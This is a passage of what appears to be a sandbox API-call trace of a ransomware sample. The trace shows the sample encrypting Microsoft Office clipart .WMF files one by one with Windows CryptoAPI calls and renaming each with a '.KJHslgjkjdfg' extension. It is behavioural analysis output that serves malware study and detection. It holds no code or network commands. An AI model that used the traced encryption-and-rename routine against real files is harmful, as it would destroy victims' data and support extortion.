lpNewFilePointer=0x0) returned 1 [0189.454] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.454] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.454] GetProcessHeap () returned 0x2a0000 [0189.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.454] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.454] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.455] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.457] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.458] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.458] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27c0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27c0, lpOverlapped=0x0) returned 1 [0189.459] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27c0, dwBufLen=0x27c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27c0) returned 1 [0189.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.460] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x27c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x27c0, lpOverlapped=0x0) returned 1 [0189.460] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.460] SetEndOfFile (hFile=0x114) returned 1 [0189.463] GetProcessHeap () returned 0x2a0000 [0189.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.463] GetProcessHeap () returned 0x2a0000 [0189.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00194_.wmf.kjhslgjkjdfg")) returned 1 [0189.472] CloseHandle (hObject=0x114) returned 1 [0189.472] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1 [0189.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.473] GetProcessHeap () returned 0x2a0000 [0189.473] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.473] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.474] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.476] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.476] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.476] GetProcessHeap () returned 0x2a0000 [0189.476] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.476] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.476] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.476] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.476] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.476] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.477] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.477] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.477] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.477] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.477] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x238c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x238c, lpOverlapped=0x0) returned 1 [0189.478] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2390, dwBufLen=0x2390 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2390) returned 1 [0189.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.478] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2390, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2390, lpOverlapped=0x0) returned 1 [0189.478] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.478] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.478] SetEndOfFile (hFile=0x114) returned 1 [0189.481] GetProcessHeap () returned 0x2a0000 [0189.481] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.481] GetProcessHeap () returned 0x2a0000 [0189.481] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00197_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00197_.wmf.kjhslgjkjdfg")) returned 1 [0189.484] CloseHandle (hObject=0x114) returned 1 [0189.484] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1 [0189.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.485] GetProcessHeap () returned 0x2a0000 [0189.485] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.485] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.485] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.485] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0189.488] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.488] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.488] GetProcessHeap () returned 0x2a0000 [0189.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.488] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.488] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.488] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.488] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.488] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.488] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.489] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.686] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.687] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.687] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.687] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.687] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15fe, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15fe, lpOverlapped=0x0) returned 1 [0189.688] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600, dwBufLen=0x1600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600) returned 1 [0189.688] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.688] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1600, lpOverlapped=0x0) returned 1 [0189.688] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.688] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.689] SetEndOfFile (hFile=0x114) returned 1 [0189.691] GetProcessHeap () returned 0x2a0000 [0189.691] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.691] GetProcessHeap () returned 0x2a0000 [0189.691] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.kjhslgjkjdfg")) returned 1 [0189.693] CloseHandle (hObject=0x114) returned 1 [0189.693] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0189.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.696] GetProcessHeap () returned 0x2a0000 [0189.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.696] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.696] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0189.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.698] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.698] GetProcessHeap () returned 0x2a0000 [0189.698] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.698] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.698] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.698] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.698] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.698] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.698] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2926, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2926, lpOverlapped=0x0) returned 1 [0189.699] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2930, dwBufLen=0x2930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2930) returned 1 [0189.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.699] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2930, lpOverlapped=0x0) returned 1 [0189.699] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.699] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.699] SetEndOfFile (hFile=0x114) returned 1 [0189.704] GetProcessHeap () returned 0x2a0000 [0189.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.704] GetProcessHeap () returned 0x2a0000 [0189.704] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.kjhslgjkjdfg")) returned 1 [0189.706] CloseHandle (hObject=0x114) returned 1 [0189.706] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0189.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.707] GetProcessHeap () returned 0x2a0000 [0189.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.707] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.707] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.707] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.707] GetProcessHeap () returned 0x2a0000 [0189.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.707] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.707] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.710] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.710] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, 